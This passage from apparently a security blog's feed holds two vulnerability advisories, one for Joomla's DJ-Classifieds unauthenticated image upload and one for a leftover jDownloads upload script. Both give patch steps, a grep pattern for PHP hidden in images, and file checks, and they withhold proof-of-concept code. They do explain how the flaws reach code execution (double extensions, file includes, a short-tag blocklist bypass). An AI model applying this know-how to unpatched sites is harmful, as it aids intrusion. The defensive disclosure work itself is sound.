&lt;li&gt;&lt;strong&gt;A web shell hidden inside a valid image.&lt;/strong&gt; The malicious code sits on your domain, inside a file that passes every image check, waiting for a way to be executed. That is a foothold, and a quiet one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content and disk abuse.&lt;/strong&gt; An open, anonymous upload is a way to host arbitrary files on a trusted domain and to fill the disk.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It crosses into full remote code execution in two common situations. The first is a host that runs a whitelisted extension as PHP, the Apache &lt;code&gt;AddHandler&lt;/code&gt; or &lt;code&gt;mod_mime&lt;/code&gt; misconfiguration where &lt;code&gt;image.gif&lt;/code&gt; or &lt;code&gt;image.php.gif&lt;/code&gt; is given to the PHP interpreter. That is not rare on cheap shared hosting. The second is any local file include elsewhere on the site that can be pointed at the stored image; at that point the PHP inside the “image” runs. Either way, an anonymous visitor ends up executing code on your server. That combination, unauthenticated and reachable by anyone, held back on the default stack only by controls that several ordinary configurations undo, is why we assess it as High.&lt;/p&gt;
&lt;p&gt;DJ-Extensions’ existing controls do reduce persistence: temporary uploads are cleared after roughly twelve hours, which shortens the life of a probe file. That is a real mitigating factor. It is not a fix, because twelve hours is plenty of time for a scanner to upload, fetch, and move on.&lt;/p&gt;
&lt;h2&gt;DJ-Extensions Shipped the Fix in Three Days&lt;/h2&gt;
&lt;p&gt;Credit where it is due: this was a fast, clean response. We reported the flaw privately on 17 July 2026, and DJ-Extensions released 3.11.2 on 20 July, a dedicated security release with a public write-up that names the &lt;code&gt;imageupload&lt;/code&gt; feature and tells administrators to update immediately. That is the right way to handle a report, and it is a good deal better than the silent one-line changelogs we often have to decode.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;3.11.2 release notes&lt;/a&gt; list two changes, and they are the correct two:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The &lt;code&gt;imageupload&lt;/code&gt; endpoint is restricted.&lt;/strong&gt; Authentication and CSRF/session validation now stop unauthenticated or unauthorised requests from writing files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A server-side image-only allow-list.&lt;/strong&gt; Uploads are limited to real image formats (&lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;jpeg&lt;/code&gt;, &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;gif&lt;/code&gt;) on the server, so a &lt;code&gt;.txt&lt;/code&gt; or any other non-image type is now rejected regardless of what the client sends. The old, broad list that allowed documents, archives and text files is gone.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Those are the same two fixes we recommended in our report: require a logged-in user and a valid token on the upload task, and stop trusting a three-string scan to decide what is safe. So the update closes the hole.&lt;/p&gt;
&lt;p&gt;Two honest caveats for readers. The release notes frame the risk before the fix as low, leaning on the “no executable files” argument. As the content-scan bypass above shows, that argument had a hole in it, and separately we watched the endpoint being probed in the wild, so treat “update immediately” as the operative line, not “you were probably fine.” And the release credits no researcher by name, so if you only skimmed the changelog you might not realise how the flaw was found or that it was already being used. None of that detracts from the fix itself, which is solid and shipped fast.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;CVE-2026-61424, not CVE-2025-54474&lt;/p&gt;
  &lt;p&gt;This unauthenticated upload flaw is tracked as CVE-2026-61424, fixed in 3.11.2. Do not confuse it with CVE-2025-54474, a separate, authenticated SQL injection in DJ-Classifieds 3.9.2 to 3.10.1 (fixed in 3.10.2, CVSS 8.5) that needs a privileged logged-in user. Different bug, different fix, different risk.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Do I Fix My DJ-Classifieds Sites?&lt;/h2&gt;
&lt;p&gt;Updating is the priority and it is straightforward.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Update to 3.11.2.&lt;/strong&gt; In each site’s Joomla admin, go to &lt;strong&gt;System&lt;/strong&gt; then &lt;strong&gt;Update&lt;/strong&gt; then &lt;strong&gt;Extensions&lt;/strong&gt;, find DJ-Classifieds, and update it to 3.11.2. If the update does not show there, download the latest build from your &lt;a href=&quot;https://dj-extensions.com/dj-classifieds&quot;&gt;DJ-Extensions account&lt;/a&gt; and install it over the top. If you run more than a handful of sites, push the update across all of them at once from your &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mySites.guru dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;If you cannot update straight away, block the endpoint.&lt;/strong&gt; Deny anonymous requests to &lt;code&gt;option=com_djclassifieds&amp;amp;task=imageupload&lt;/code&gt; at a web application firewall or reverse proxy, or block web access to the &lt;code&gt;tmp/djupload&lt;/code&gt; directory, so the upload never reaches the component. This is a stopgap, not a fix.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check the upload directory.&lt;/strong&gt; Look in &lt;code&gt;tmp/djupload&lt;/code&gt; (or your configured upload path) for files you did not put there, and for image files whose bytes contain a PHP open tag such as &lt;code&gt;&amp;lt;?&lt;/code&gt; anywhere inside them. A quick way to spot candidates over SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; -rlie&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;&amp;lt;?php\|&amp;lt;?=\|&amp;lt;script language=&quot;php&quot;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; tmp/djupload/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check for a break-in, not just the flaw.&lt;/strong&gt; Updating stops the next attempt but does nothing about one that already happened. Look for &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;unfamiliar administrator accounts&lt;/a&gt; in your Joomla Users list sorted by registration date, and for recently modified PHP across the whole site. If you find anything, clean the site properly, then change your Joomla passwords and secrets.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Remember that &lt;code&gt;.htaccess&lt;/code&gt; tricks are a weak answer here. As we covered in &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;why your .htaccess will not stop a Joomla hack&lt;/a&gt;, disabling PHP in one folder does not help much when the write happens inside the component and the real risk is an image served from a directory you did not think to lock down.&lt;/p&gt;
&lt;h2&gt;Why Image Upload Endpoints Keep Doing This to Joomla Sites&lt;/h2&gt;
&lt;p&gt;DJ-Classifieds is not an outlier. It joins a steady run of Joomla extension file-upload flaws we have written up, and several share the exact same shape: a front-end endpoint that touches uploads, reachable without a proper login, trusting a check that does not hold. The weakness class is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, unrestricted upload of a file with a dangerous type, and it turns up across the whole category rather than in one vendor’s code.&lt;/p&gt;
&lt;p&gt;The recent list makes the point. &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56290/&quot;&gt;CVE-2026-56290&lt;/a&gt;, CVSS 10.0) was an unauthenticated upload that let the attacker pick the destination folder. &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; accepted an attachment from anyone with no login and no file-type check. &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda zero-day&lt;/a&gt; were both unauthenticated uploads reached without the right checks, and the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt; was used to plant hidden Joomla admins. Even &lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;jDownloads&lt;/a&gt; shipped a stray test upload script with no checks at all. DJ-Classifieds is a variation on the theme: the checks exist, but the content scan trusts a three-string blocklist that a short tag walks straight past.&lt;/p&gt;
&lt;p&gt;The thread through all of them is the one we pulled on in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;: a front-end endpoint that verifies too little and then does something dangerous. When a framework leaves each extension developer to get authentication, tokens and content validation right on their own, the same mistake gets made independently, over and over. It is also why we are &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;not the only ones auditing Joomla extensions&lt;/a&gt; any more, and why this keeps being worth writing about.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Keeps You Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;A file-upload flaw is a race, and the clock starts the moment it is public. The slow part has never been the update itself. It is working out which of your sites even have the affected extension, on what version, and getting the patch onto all of them before a scanner gets there first.&lt;/p&gt;
&lt;p&gt;mySites.guru collapses that. Every connected site reports the exact version of every installed extension on a twice-daily snapshot, so “which of my sites run DJ-Classifieds below 3.11.2” is answered the moment you ask it. The &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update tool&lt;/a&gt; then pushes the patch to every affected site in one operation. And because this flaw was being probed in the wild, the detection half matters too: the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content and hacked-file tool&lt;/a&gt; runs on every audit of every connected Joomla site and flags web shells and files that do not belong, including a PHP payload hidden inside an image, without us needing a bespoke signature for this particular attack first. If you are unsure how to read what it raises, we cover &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content versus a confirmed hacked file&lt;/a&gt; separately.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious extension flaw like this one is found, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is the whole point of connecting your sites before the next flaw drops rather than after. When it does, you are not scrambling to build a list. You already have it, you push one update, and you move on. If you are not set up yet, start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; for vulnerability flags and one-click updates across every site you manage. If a site has already been touched, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-434, unrestricted upload of a file with a dangerous type. It is reachable over the network by an anonymous user, with no login and no user interaction, on any site running DJ-Classifieds up to and including 3.11.1. The Joomla CNA published the record on 20 July 2026 and scored it &lt;strong&gt;10.0, the maximum&lt;/strong&gt;, on &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;. We had scored it 8.8 High before assignment, conservatively, because a planted image is served inert on a default stack. The CNA scored the outcome on the hosts where it is not inert, which is full system compromise. We have adopted the official figure; the caution about default stacks below still stands and is why the two numbers differ. On a default server the component’s controls keep it short of direct code execution, so the immediate impact is a web shell hidden in a valid image plus content and disk abuse; it reaches remote code execution on hosts that run a whitelisted extension or via a local file include. We assess it as High severity, CVSS 4.0 8.8 (&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;), scoring the guaranteed arbitrary file write rather than the host-dependent code execution. It is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61424/&quot;&gt;CVE-2026-61424&lt;/a&gt;. DJ-Extensions published a security release and shipped the patched 3.11.2 on 20 July 2026.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;10.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;Unauthenticated&lt;/span&gt;
        &lt;span&gt;No login required; CVE-2026-61424, fixed in DJ-Classifieds 3.11.2&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Reachable by anyone on the internet with no account, and seen being probed in the wild. On a default server it is a web shell hidden in a valid image plus content and disk abuse; it becomes remote code execution on hosts that run a whitelisted extension or via a local file include. The fix is to update to 3.11.2, or block the imageupload endpoint if you cannot update yet.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login&lt;/span&gt;
        &lt;span&gt;Exploited in the wild&lt;/span&gt;
        &lt;span&gt;Fixed in 3.11.2&lt;/span&gt;
        &lt;span&gt;RCE on misconfigured hosts&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;





















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;DJ-Classifieds (&lt;code&gt;com_djclassifieds&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;DJ-Extensions.com&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated arbitrary file upload&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Endpoint&lt;/td&gt;&lt;td&gt;&lt;code&gt;index.php?option=com_djclassifieds&amp;amp;task=imageupload&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61424/&quot;&gt;CVE-2026-61424&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Severity&lt;/td&gt;&lt;td&gt;Critical (Joomla CNA)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;10.0 (Critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;, CWE-434, as published by the Joomla CNA on 20 July 2026. Our pre-assignment read was 8.8 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Found by&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru, from a customer’s server logs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Up to and including 3.11.1 (confirmed live on 3.10.1, by code on 3.11.1; present back to at least 3.9.2)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;DJ-Classifieds 3.11.2&lt;/a&gt;, released 20 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-16&lt;/strong&gt; A customer&apos;s server log shows an anonymous upload getting through A site we manage records an anonymous hit on the imageupload task, dropping a randomly named .gif. We found this one in production traffic, not in a lab.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-17&lt;/strong&gt; We reproduce it and report it privately to DJ-Extensions The flaw is reproduced on a controlled Joomla install and the affected version range confirmed by code review, then disclosed with all public detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; DJ-Extensions releases DJ-Classifieds 3.11.2 A dedicated security release that adds authentication and a session token to the imageupload endpoint and enforces a server-side image-only allow-list. The vendor names the affected feature publicly and tells administrators to update immediately.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; CVE-2026-61424 is published at CVSS 4.0 10.0 The Joomla CNA scores it at the maximum, classified CWE-434. We had scored it 8.8 High before assignment, conservatively, because a planted image is served inert on a default stack. The CNA scored the hosts where it is not inert.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;DJ-Classifieds 3.11.2 Security Release&lt;/a&gt; - the vendor&apos;s own advisory for the patched release, listing the endpoint restriction and the image-only allow-list.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the official definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP Unrestricted File Upload&lt;/a&gt; - why file upload flaws rate so highly and how far they can go.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely, including why a content blocklist is the wrong model.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers on access checks and safe file handling.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider run of Joomla extension flaws this sits alongside.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>dj-classifieds</category><category>file-upload</category><enclosure url="https://mysites.guru/img/og/blog/dj-classifieds-unauthenticated-file-upload.png" length="0" type="image/png"/></item><item><title>jDownloads 4.1 Shipped an Unauthenticated Upload Endpoint, Now Fixed in 4.1.6</title><link>https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/</link><guid isPermaLink="true">https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/</guid><description>jDownloads 4.1.0 to 4.1.5 shipped a leftover test script that let anyone upload files to your Joomla site with no login. Update to 4.1.6, which removes it.</description><pubDate>Fri, 17 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;jDownloads is a long-established download-manager component for Joomla, installed as &lt;code&gt;com_jdownloads&lt;/code&gt; and used to store, organise and serve files on business, membership and community sites. It has been on the Joomla Extensions Directory since 2007. Every 4.1.x release, from 4.1.0 to 4.1.5, shipped a file it should not: a standalone upload script with no login check, no CSRF token and no permission check, sitting at &lt;code&gt;administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/code&gt;. Anyone on the internet who knew the address could use it to upload files to your site.&lt;/p&gt;
&lt;p&gt;jDownloads has now released &lt;a href=&quot;https://www.jdownloads.com/index.php/news/jdownloads-4-1-6-secure-update-released.html&quot;&gt;4.1.6&lt;/a&gt; as a security update on 18 July 2026. It removes the leftover files from the package and clears any legacy files and &lt;code&gt;test_uploads&lt;/code&gt; directory left behind by an earlier 4.1.x version when a site installs it. Update every affected site to 4.1.6. This post explains what the file did, which versions had it, how serious it really was, and how to make sure it is gone, without publishing anything an attacker could copy.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update to jDownloads 4.1.6&lt;/p&gt;
  &lt;p&gt;jDownloads 4.1.6 is the fix: it removes administrator/components/com_jdownloads/assets/upload/upload-handler.php and clears the leftover test_uploads directory on install. Update every jDownloads 4.1 site you run. If you cannot update immediately, delete that file by hand as a stopgap; it does not change how jDownloads works.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: jDownloads 4.1.0 to 4.1.5 ship &lt;code&gt;administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/code&gt;, a standalone &lt;code&gt;move_uploaded_file&lt;/code&gt; endpoint with no &lt;code&gt;_JEXEC&lt;/code&gt; guard, no Joomla session, no CSRF token and no permission check. It ignores jDownloads’ own upload blacklist and enforces only its own hardcoded allow-list, which excludes &lt;code&gt;.php&lt;/code&gt; but permits archives, images, documents and executables like &lt;code&gt;.exe&lt;/code&gt; and &lt;code&gt;.msi&lt;/code&gt;. An unauthenticated visitor could write files of those types into a folder on your site and read them back over HTTP. The file was introduced in 4.1.0 and is identical across every 4.1.x build (MD5 &lt;code&gt;d5bbd57fd97c99890f6a5fdc9d79ec00&lt;/code&gt;); it is absent from 4.0.52 and earlier. The developer confirmed it was a test component included by mistake, and jDownloads 4.1.6 (released 18 July 2026) removes it. It is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61900/&quot;&gt;CVE-2026-61900&lt;/a&gt;. Update every affected site to 4.1.6, and mySites.guru flags every jDownloads 4.1.0 to 4.1.5 site as vulnerable automatically so you can find them.&lt;/p&gt;
&lt;h2&gt;What Is Actually Wrong in jDownloads 4.1?&lt;/h2&gt;
&lt;p&gt;The problem is a single file that should never have shipped. &lt;code&gt;upload-handler.php&lt;/code&gt; is a self-contained PHP script that handles a file upload on its own, outside Joomla’s normal request flow. It has none of the checks a Joomla upload is supposed to have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No &lt;code&gt;_JEXEC&lt;/code&gt; guard, so it runs when requested directly by URL rather than only through Joomla.&lt;/li&gt;
&lt;li&gt;No Joomla session or login check, so it does not care who you are.&lt;/li&gt;
&lt;li&gt;No CSRF token, so there is nothing tying the request to a real logged-in user.&lt;/li&gt;
&lt;li&gt;No &lt;code&gt;authorise()&lt;/code&gt; permission check, so no capability is required.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It also ignores jDownloads’ own configuration. The component has a proper upload area in the Joomla admin with a blacklist that blocks &lt;code&gt;.php&lt;/code&gt; and other dangerous types. This script does not use any of that. It enforces its own hardcoded list of allowed extensions, and that list, while it excludes &lt;code&gt;.php&lt;/code&gt;, includes archives, images, office documents, and executables such as &lt;code&gt;.exe&lt;/code&gt; and &lt;code&gt;.msi&lt;/code&gt;. Whatever an anonymous visitor sends, if the extension is on that list, the file is written to a folder on your site under a timestamped name.&lt;/p&gt;
&lt;p&gt;We reproduced this on a local Joomla 5 install to be certain of the behaviour. As an anonymous request, with no cookie and no token, an allowed file uploaded successfully and was then readable back over HTTP. A direct &lt;code&gt;.php&lt;/code&gt; upload was rejected by the script’s own list. We are not publishing the request an attacker would send, the parameters, or a working proof of concept. The shape of the bug is enough to understand the risk and to remove the file.&lt;/p&gt;
&lt;h2&gt;Which jDownloads Versions Are Affected?&lt;/h2&gt;
&lt;p&gt;Every 4.1.x release has the file: 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4 and 4.1.5. It is byte-for-byte identical in all of them, with the MD5 hash &lt;code&gt;d5bbd57fd97c99890f6a5fdc9d79ec00&lt;/code&gt;, so you can verify a suspect file on any site by hashing it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;md5sum&lt;/span&gt;&lt;span&gt; administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We pinned the version range by comparing the official jDownloads packages directly. The file first appears in 4.1.0 and is not present in 4.1.0’s predecessor, 4.0.52, or any earlier release, and it is removed again in the patched 4.1.6. In practice that means the 4.0 line and the older 3.x line, which are still the most common jDownloads versions we see across the sites we manage, do not have this particular file. It is the 4.1.0 to 4.1.5 sites that are exposed. If your sites are on any of those, they have the file, whether or not you use uploads, so update them to 4.1.6.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;A matching hash is a definite hit, but the absence of the exact hash does not clear a site: if you find a file at that path on a 4.1.x install, delete it regardless of its hash. The hash is a convenience for confirming the shipped file, not a scanner in its own right.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Was This Found, and How Was It Fixed?&lt;/h2&gt;
&lt;p&gt;This one came to us through a mySites.guru subscriber. They found the flaw and reported it privately to the jDownloads developer, Arno Betz, who confirmed on 16 July 2026 that the file was experimental upload code left in the release package by mistake and said a fix was being prepared. jDownloads then released &lt;a href=&quot;https://www.jdownloads.com/index.php/news/jdownloads-4-1-6-secure-update-released.html&quot;&gt;4.1.6&lt;/a&gt; on 18 July 2026, which removes the handler and clears the leftover &lt;code&gt;test_uploads&lt;/code&gt; directory when a site installs the update.&lt;/p&gt;
&lt;p&gt;We obtained the vendor’s confirmation and then reproduced the flaw on a local Joomla install, so that we could be precise about what was exposed and which versions had the file before flagging it to the sites we manage. It is now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61900/&quot;&gt;CVE-2026-61900&lt;/a&gt;. jDownloads’ own advisory thanks the community for reporting security issues responsibly but does not name the file or credit anyone by name, so if you only read the changelog you might miss what 4.1.6 actually closes.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Why we are not publishing an exploit&lt;/p&gt;
  &lt;p&gt;The developer acknowledged the flaw and has shipped a fix in 4.1.6. We have withheld the exact request, the parameters and any working proof of concept. The point of this post is to get the file off live sites, not to hand anyone a tool. The file path is included only because you need it to check for the file and delete it if you cannot update immediately.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Serious Is It Really?&lt;/h2&gt;
&lt;p&gt;It is easy to file every “unauthenticated file upload” under the same maximum-severity panic, so it is worth being precise. This is a real, no-login flaw, but it is not a clean remote code execution on a default server, and saying otherwise would be dishonest.&lt;/p&gt;
&lt;p&gt;The reason is the script’s own extension list. It blocks a bare &lt;code&gt;.php&lt;/code&gt;, so an attacker cannot simply upload a web shell and run it on a standard setup. What they can do without any login is real enough:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Host malware, phishing pages, or other unwanted files on your domain. A trusted domain serving attacker content gets flagged by browsers and search engines, which drags down your reputation and your search rankings even if no code ever runs.&lt;/li&gt;
&lt;li&gt;Fill your disk. The script accepts large files, so it is a straightforward abuse and denial-of-service primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It crosses into remote code execution in two situations. The first is a server that executes secondary file extensions, an Apache &lt;code&gt;AddHandler&lt;/code&gt; or &lt;code&gt;mod_mime&lt;/code&gt; misconfiguration where a name like &lt;code&gt;shell.php.jpg&lt;/code&gt; is run as PHP even though it “looks like” an image. That is common enough on cheap shared hosting. The second is a site where an administrator has widened the allowed types to include an executable one. In both cases an anonymous visitor gets to run code on your server. We assess the flaw as High severity for that reason: unauthenticated and reachable by anyone, stopped on the default stack only by an extension list that several common configurations undo.&lt;/p&gt;
&lt;h2&gt;How Do I Fix My jDownloads Sites?&lt;/h2&gt;
&lt;p&gt;The proper fix is to update to 4.1.6. If you cannot do that on a site straight away, remove the file by hand as a stopgap. Either way it takes a couple of minutes per site.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Update to 4.1.6.&lt;/strong&gt; Update jDownloads to 4.1.6 on every affected site through Joomla’s own Updates screen or by installing the package. It removes &lt;code&gt;upload-handler.php&lt;/code&gt; from the component and clears the leftover &lt;code&gt;test_uploads&lt;/code&gt; directory on install, so getting onto the patched release is the right end state.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Or delete the upload script by hand.&lt;/strong&gt; If you cannot update a site immediately, use FTP, SSH or your host’s file manager to delete &lt;code&gt;administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/code&gt;. That one file is the whole problem. The &lt;code&gt;default.php&lt;/code&gt; sitting next to it is part of the same leftover test code and can go too. Over SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;rm&lt;/span&gt;&lt;span&gt; administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
